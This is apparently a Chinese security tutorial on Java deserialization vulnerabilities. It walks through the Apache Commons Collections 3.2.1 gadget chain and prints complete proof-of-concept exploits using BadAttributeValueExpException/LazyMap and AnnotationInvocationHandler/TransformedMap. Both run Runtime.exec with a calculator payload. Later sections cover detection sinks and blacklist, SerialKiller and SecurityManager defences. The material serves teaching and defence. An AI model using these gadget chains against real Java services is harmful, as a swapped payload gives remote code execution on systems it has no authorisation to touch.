在学习Java反序列化漏洞之前,建议先熟悉Java序列化和反序列化机制 。
在反序列化漏洞中,Java类反序列化漏洞较PHP和Python的相比,显得稍微复杂一些。主要是要求对Java较为熟悉。下面小结一下Java反序列化漏洞的相关内容。
0x01 何为Java反序列化漏洞 当开发者自定义实现Serializable、添加自己的readObject()方法时,若readObject()方法内代码逻辑存在缺陷,则可能存在Java反序列化漏洞的风险。如果此时Java服务的反序列化API允许外部用户使用,则会导致攻击者使用精心构造的payload来利用反序列化漏洞达到任意代码执行的目的。
Java反序列化中readObject()方法的作用相当于PHP反序列化中的魔术函数,使反序列化过程在一定程度上受控成为可能,是否真的可控,还需分析每个对象的readObject()方法具体是如何实现的。通常情况下,在Java的readObject()方法中很少会像CTF中PHP的反序列化漏洞题目一样直接将漏洞代码写在该方法中,这时就需要去构造反射链来进行任意代码执行。
0x02 重写readObject()示例 Java反序列化漏洞的根源在于重写readObject()方法导致存在漏洞代码。
readObject()方法重写的格式如下:
1 private void readObject (ObjectInputStream stream) throws IOException, ClassNotFoundException
注意,readObject()方法被定义成了private,并且是必须尝试捕获IOException和ClassNotFoundException的异常。
这里再贴另外一个简单的示例,创建一个不安全的类对象,赋值其name属性并序列化为文件保存起来,接着通过反序列化该文件获取该对象及其属性值,通过重写readObject()方法在调用默认的readObject()方法之后添加一条执行计算器的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import java.io.*;public class test { public static void main (String args[]) throws Exception { UnsafeClass Unsafe = new UnsafeClass(); Unsafe.name = "Mi1k7ea" ; System.out.println("[*]序列化对象" ); FileOutputStream fos = new FileOutputStream("object.ser" ); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(Unsafe); os.close(); fos.close(); System.out.println("[*]反序列化文件中保存的序列化对象" ); FileInputStream fis = new FileInputStream("object.ser" ); ObjectInputStream ois = new ObjectInputStream(fis); UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); fis.close(); } } class UnsafeClass implements Serializable { public String name; private void readObject (java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("calc.exe" ); } }
可以看到,在readObject()方法调用时Java的序列化机制会先寻找用户是否自定义了readObject()方法,若有则直接调用该自定义的方法而非默认的readObject()方法:
0x03 Apache Commons Collections反序列化漏洞分析 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,包含了很多jar工具包,提供了很多强有力的数据结构类型并且实现了各种集合工具类。
org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set、list、queue等等,它们是集合类型。换一种理解方式,collection是set、list、queue的抽象。
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。
影响版本:3.2.1及以下版本的Commons Collections包。
下面就简单地模拟该序列化漏洞产生、payload的构造及利用过程。这里示例用的commons-collections-3.2.1.jar包。
漏洞点 Apache Commons Collections中有一个特殊的接口Transformer,其中有一个实现该接口的类InvokerTransformer可以通过调用Java的反射机制来调用任意函数,其源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public class InvokerTransformer implements Transformer , Serializable { private static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public static Transformer getInstance (String methodName) { if (methodName == null ) { throw new IllegalArgumentException("The method to invoke must not be null" ); } else { return new InvokerTransformer(methodName); } } public static Transformer getInstance (String methodName, Class[] paramTypes, Object[] args) { if (methodName == null ) { throw new IllegalArgumentException("The method to invoke must not be null" ); } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) { throw new IllegalArgumentException("The parameter types must match the arguments" ); } else if (paramTypes != null && paramTypes.length != 0 ) { paramTypes = (Class[])((Class[])paramTypes.clone()); args = (Object[])((Object[])args.clone()); return new InvokerTransformer(methodName, paramTypes, args); } else { return new InvokerTransformer(methodName); } } private InvokerTransformer (String methodName) { this .iMethodName = methodName; this .iParamTypes = null ; this .iArgs = null ; } public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var6); } } } }
可以看到该InvokerTransformer类是实现Transformer接口的(Transformer接口主要用于转换并返回一个给定的Object对象),且其中的transform()方法采用反射机制进行任意函数调用,这就是漏洞点所在。
这里是反射机制关键的三句代码:
1 2 3 Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
第一句:input为Object对象,获取其对应的Class;
第二句:获取cls类中具体的方法对象;
第三句:执行input对象的method方法,返回同method一样的返回类型。
上述三句代码其实等同于下面的代码,即可以直接合并起来:
1 input.getClass().getMethod(this .iMethodName, this .iParamTypes).invoke(input, this .iArgs);
下面编写代码进行弹出计算器的测试来验证该漏洞点是否能利用:
1 2 3 4 5 6 7 8 9 public class POC_Test { public static void main (String[] args) throws Exception { InvokerTransformer it = new InvokerTransformer( "exec" , new Class[]{String.class}, new Object[]{"calc.exe" }); it.transform(java.lang.Runtime.getRuntime()); } }
可以看到是可以弹出计算器的,即可以进行漏洞利用,但是有个问题,就是我们不能从外部直接传入java.lang.Runtime.getRuntime(),这时就需要我们去构造链式结构的payload来实现漏洞利用。
下面就开始构造反射链payload来实现反序列化漏洞的利用。
1、通过反射构造可序列化的恶意反射链对象 一步步来,我们知道,要让Java程序执行执行命令,通常是获取到Runtime
的实例,再调用它的exec()
执行命令:
1 2 Runtime runtime = Runtime.getRuntime(); runtime.exec(cmd);
接着将其表示为链式结构的形式,因为底层通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的:
1 java.lang.Runtime.getRuntime().exec(cmd)
好了,我们知道构造的反射链是这种格式,下面开始分析Commons Collections的payload的链式结构。
Commons Collections中有一个用于对象之间转换的Transformer接口,先看构造的链式结构payload中涉及到的几个实现类,只需看其构造方法和transform()方法即可。
1、ConstantTransformer类,是一个Transformer接口实现类,其构造方法和transform()方法如下,可看到transform()方法会原封不动地返回传入的Object,从而可构造外部输入的常量如Runtime.class:
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; }
2、InvokerTransformer类,在漏洞点中已说明。
3、ChainedTransformer类,是一个Transformer接口实现类,其构造方法和transform()方法如下,其transform()方法用于链接多个步骤构造的transformer,其中object参数为上一次调用transform()的返回结果:
1 2 3 4 5 6 7 8 9 10 public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
接着看下面这段构造的payload链式结构:
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class,Class[].class},new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class,Object[].class},new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" ,}), }; Transformer transformerChain = new ChainedTransformer(transformers);
构造过程如下:
构造一个ConstantTransformer对象,把Runtime的Class对象传进去,在transform()时,始终会返回这个对象;
构造一个InvokerTransformer对象,待调用方法名为getMethod,参数为getRuntime,在transform()时,传入第一步的结果,此时的input应该是java.lang.Runtime,但经过getClass()之后,cls为java.lang.Class,之后getMethod()只能获取java.lang.Class的方法,因此才会定义的待调用方法名为getMethod,然后其参数才是getRuntime,它得到的是getMethod这个方法的Method对象,invoke()调用这个方法,最终得到的才是getRuntime这个方法的Method对象;
构造一个InvokerTransformer对象,待调用方法名为invoke,参数为空,在transform()时,传入第二步的结果,同理,cls将会是java.lang.reflect.Method,再获取并调用它的invoke()方法,实际上是调用上面的getRuntime()拿到Runtime对象;
构造一个InvokerTransformer对象,待调用方法名为exec,参数为命令字符串,在transform()时,传入第三步的结果,获取java.lang.Runtime的exec方法并传参调用;
最后把它们组装成一个数组全部放进ChainedTransformer中,在transform()时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求。
有一个问题——上面的第2、3步是不是可以简化一下,考虑用下面这种逻辑更清晰的方式来构造呢?
1 2 3 4 Transformer[] trans = new Transformer[] { new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("getRuntime" , new Class[0 ], new Object[0 ]), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[] { cmd })};
答案是不行的。虽然单看整个链,无论是定义还是执行都是没有任何问题的,但是在后续序列化时,由于Runtime.getRuntime()得到的是一个对象,这个对象也需要参与序列化过程,而Runtime本身是没有实现Serializable接口的,所以会导致序列化失败。
构造完这条Transformer链,就等着谁来执行它的transform()了。
这里可以先直接在代码下面添加transformerChain.transform(null);
语句来查看该Transformer链是否真的可以执行命令且该对象是否可以被序列化,代码示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class test { public static void main (String args[]) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class,Class[].class},new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class,Object[].class},new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" ,}), }; Transformer transformerChain = new ChainedTransformer(transformers); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(transformerChain); transformerChain.transform(null ); } }
执行之后程序没报错,即该Transformer链可以进行序列化,并且在执行transformerChain.transform(null);
时成功弹出计算器:
该Transformer链没有问题,下面就是找Commons Collections中哪些地方可以执行该Transformer链的transform()方法以及寻找含有自定义有漏洞的readObject()方法的类了。
2、查找自定义readObject()方法且存在漏洞代码的类 如网上所说,在JDK较早的版本中存在AnnotationInvocationHandler类 ,其类对象在初始化时可以传入一个Map类型参数赋值给字段memberValues,readObject()过程中如果满足一定条件就会对memberValues中的元素进行setValue()。
但是,在较新版本的JDK中AnnotationInvocationHandler没有了setValue()方法,但是可以使用BadAttributeValueExpException类来实现。由于本地环境的JDK为较新的版本,因此就先对BadAttributeValueExpException类进行分析。
利用类1——BadAttributeValueExpException 下面看下BadAttributeValueExpException类定义,可以看到定义了一个名为val的对象类型属性,且自定义了readObject()方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public class BadAttributeValueExpException extends Exception { private static final long serialVersionUID = -3105272988410493376L ; private Object val; public BadAttributeValueExpException (Object val) { this .val = val == null ? null : val.toString(); } public String toString () { return "BadAttributeValueException: " + val; } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
查看自定义的readObejct()方法,其中在满足System.getSecurityManager() == null时会调用 valObj.toString(),从攻击思路上看,其他的条件都是无法满足的。因此valObj.toString()就成为了突破口,此时要找到一个合适的工具在toString()方法被调用的时候会触发我们构造的恶意代码。
利用类2——AnnotationInvocationHandler 前提是换个低的JDK版本,本地测试时换的JDK1.7。
先看下AnnotationInvocationHandler的类定义,定义了Class类型的type变量、Map类型的memberValues变量以及Method[]类型的memberMethods数组变量,并且重写了readObject()方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private final Class type; private final Map<String, Object> memberValues; private transient volatile Method[] memberMethods = null ; AnnotationInvocationHandler(Class var1, Map<String, Object> var2) { this .type = var1; this .memberValues = var2; } public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else { assert var5.length == 0 ; if (var4.equals("toString" )) { return this .toStringImpl(); } else if (var4.equals("hashCode" )) { return this .hashCodeImpl(); } else if (var4.equals("annotationType" )) { return this .type; } else { Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException(this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } } ... private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { return ; } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } } }
可以看到,在readObject()函数中,在其遍历memberValues.entrySet()时,会用键名在memberTypes中尝试获取一个Class(这里为var7变量),并判断它是否为null,这是触发反序列化RCE所需要满足的条件。
接下来是网上很少提到过的一个结论:首先,memberTypes是AnnotationType的一个字段,里面存储着Annotation接口声明的方法信息 (键名为方法名,值为方法返回类型) 。因此,我们在获取AnnotationInvocationHandler实例时,需要传入一个方法个数大于0的Annotation子类 (一般来说,若方法个数大于0,都会包含一个名为value的方法) ,并且原始Map中必须存在任意以这些方法名为键名的元素,且元素值不是该方法返回类型的实例,才能顺利进入setValue()的流程。
因此我们只需要:
寻找一个Map类,该类的特点是其中的Entry在SetValue的时候会执行额外的程序;
将这个Map类作为参数构建一个AnnotationInvocationHandler对象,并序列化;
利用类1——BadAttributeValueExpException 从BadAttributeValueExpException类的readObejct()方法知道,关注点在valObj.toString()中,那么现在就需要找到一个合适的类在调用toString()方法时触发transform()方法来执行我们构造的反射链。
LazyMap——调用get()方法触发transform()方法
LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。其定义代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { private static final long serialVersionUID = 7990956402564206740L ; protected final Transformer factory; public static Map decorate (Map map, Factory factory) { return new LazyMap(map, factory); } public static Map decorate (Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { this .factory = FactoryTransformer.getInstance(factory); } } protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException("Factory must not be null" ); } else { this .factory = factory; } } private void writeObject (ObjectOutputStream out) throws IOException { out.defaultWriteObject(); out.writeObject(this .map); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); this .map = (Map)in.readObject(); } public Object get (Object key) { if (!this .map.containsKey(key)) { Object value = this .factory.transform(key); this .map.put(key, value); return value; } else { return this .map.get(key); } } }
LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”Mi1k7ea”:
1 2 3 4 5 6 7 8 9 10 public class Test { public static void main (String[] args) throws Exception { Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() { public Object transform (Object input) { return "Mi1k7ea" ; } }); System.out.println(targetMap.get("hhhhhhhh" )); } }
TiedMapEntry——调用toString()方法触发getValue()方法(即LazyMap.get())
TiedMapEntry也存在于Commons-collections 3.1,该类主要的作用是将一个Map绑定到Map.Entry下,形成一个映射。
主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 public class TiedMapEntry implements Entry , KeyValue , Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; } public Object getKey () { return this .key; } public Object getValue () { return this .map.get(this .key); } public Object setValue (Object value) { if (value == this ) { throw new IllegalArgumentException("Cannot set value to this map entry" ); } else { return this .map.put(this .key, value); } } public boolean equals (Object obj) { if (obj == this ) { return true ; } else if (!(obj instanceof Entry)) { return false ; } else { boolean var10000; label43: { label29: { Entry other = (Entry)obj; Object value = this .getValue(); if (this .key == null ) { if (other.getKey() != null ) { break label29; } } else if (!this .key.equals(other.getKey())) { break label29; } if (value == null ) { if (other.getValue() == null ) { break label43; } } else if (value.equals(other.getValue())) { break label43; } } var10000 = false ; return var10000; } var10000 = true ; return var10000; } } public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public String toString () { return this .getKey() + "=" + this .getValue(); } }
分析下这个类,首先是toString()中调用了getValue(),而getValue()中实际是map.get(key),如此一来就构建起了整个调用链接了。
利用类2——AnnotationInvocationHandler 从AnnotationInvocationHandler类的readObejct()方法知道,关注点在memberValue.setValue()中,那么现在就需要找到一个合适的类在调用setValue()方法时触发transform()方法来执行我们构造的反射链。
TransformedMap
TransformedMap是Commons-collections 3.1提供的一个工具类,用来包装一个Map对象,并且在该对象的Entry的Key或者Value进行改变的时候,对该Key和Value进行Transformer提供的转换操作,从而满足了我们对理想型媒介的需求,即能在调用setValue()方法时触发transform()方法来执行我们构造的反射链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L ; protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } ... protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object transformKey (Object object) { return this .keyTransformer == null ? object : this .keyTransformer.transform(object); } protected Object transformValue (Object object) { return this .valueTransformer == null ? object : this .valueTransformer.transform(object); } protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); } ... }
构造过程小结 利用类1——BadAttributeValueExpException 这里将上述分析的调用过程做个图清晰地列出来,相信应该很明确该反射链执行的过程了:
最终构造的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class test { public static void main (String args[]) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class,Class[].class},new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class,Object[].class},new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" ,}), }; Transformer transformerChain = new ChainedTransformer(transformers); final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, entry); test t = new test(); t.deserialize(t.serialize(val)); } public byte [] serialize(final Object obj) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); return out.toByteArray(); } public Object deserialize (final byte [] serialized) throws IOException, ClassNotFoundException { ByteArrayInputStream in = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } }
运行结果,弹出计算器:
利用类2——AnnotationInvocationHandler 这里将上述分析的调用过程做个图清晰地列出来,相信应该很明确该反射链执行的过程了:
最终构造的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public class POC_Test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class,Class[].class},new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class,Object[].class},new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" ,}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value" , "value" ); Map outmap = TransformedMap.decorate(innermap, null , transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Retention.class, outmap); POC_Test poc_test = new POC_Test(); poc_test.deserialize(poc_test.serialize(instance)); } public byte [] serialize(final Object obj) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); return out.toByteArray(); } public Object deserialize (final byte [] serialized) throws Exception { ByteArrayInputStream in = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } }
运行结果,弹出计算器:
0x04 检测方法 全局搜索ObjectInputStream类,检查是否调用readObject()方法,若存在该方法则检查其是否进行了重写,若重写了readObject()方法则需严格排查是否可构造反射链来执行任意命令。
当然,结合其他几个类型的Java反序列漏洞,全局搜索的类方法如下:
1 2 3 4 5 6 7 ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject
0x05 防御方法 最常见的方法,就是在ObjectInputStream中设置黑白名单机制的方式进行防御。下面就在Apache Commons Collections反序列化漏洞示例代码中直接添加防御代码。
写一个SecureObjectInputStream类,继承于ObjectInputStream,重写resolveClass()方法实现黑名单机制过滤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import javax.management.BadAttributeValueExpException;import java.io.*;public class SecureObjectInputStream extends ObjectInputStream { public SecureObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(BadAttributeValueExpException.class.getName())) { throw new InvalidClassException("触发黑名单机制,禁止反序列化恶意类对象" , desc.getName()); } return super .resolveClass(desc); } }
接着只需在调用代码中将ObjectInputStream替换为SecureObjectInputStream来创建ObjectInputStream对象。再次运行时发现,触发黑名单机制,无法进行反序列化漏洞的利用:
2、利用SerialKiller.jar 原理和上面是一样的,只是已经是成熟的轮子了可以直接使用。具体的参考https://github.com/ikkisoft/SerialKiller
创建sk.conf配置文件在本地项目根目录中,其中只设置了黑名单过滤BadAttributeValueExpException:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?xml version="1.0" encoding="UTF-8"?> <config > <refresh > 6000</refresh > <mode > <profiling > false</profiling > </mode > <logging > <enabled > false</enabled > </logging > <blacklist > <regexp > .*BadAttributeValueExpException$</regexp > </blacklist > <whitelist > <regexp > .*</regexp > </whitelist > </config >
将SerialKiller.jar添加进Java项目中,并将其替换掉ObjectInputStream来创建ObjectInputStream对象。运行后发现,黑名单过滤了BadAttributeValueExpException类并抛出错误无法往下执行:
3、禁止JVM执行外部命令Runtime.exec 通过扩展SecurityManager可以实现,这里添加一个函数,在进行反序列化操作之前调用即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public static void noSerial () { SecurityManager originalSecurityManager = System.getSecurityManager(); if (originalSecurityManager == null ) { SecurityManager sm = new SecurityManager() { private void check (Permission perm) { if (perm instanceof java.io.FilePermission) { String actions = perm.getActions(); if (actions != null && actions.contains("execute" )) { throw new SecurityException("execute denied!" ); } } if (perm instanceof java.lang.RuntimePermission) { String name = perm.getName(); if (name != null && name.contains("setSecurityManager" )) { throw new SecurityException("System.setSecurityManager denied!" ); } } } @Override public void checkPermission (Permission perm) { check(perm); } @Override public void checkPermission (Permission perm, Object context) { check(perm); } }; System.setSecurityManager(sm); } }
将创建ObjectInputStream对象的语句换回原来的ObjectInputStream类,在反序列化之前调用前面定义的函数noSerial(),运行发现,无报错,也没有弹出计算器,即防御成功:
0x06 参考 Java反序列化漏洞的原理分析
Java反序列化漏洞从入门到深入
Java反序列化漏洞分析
浅析Java序列化和反序列化
深入理解 JAVA 反序列化漏洞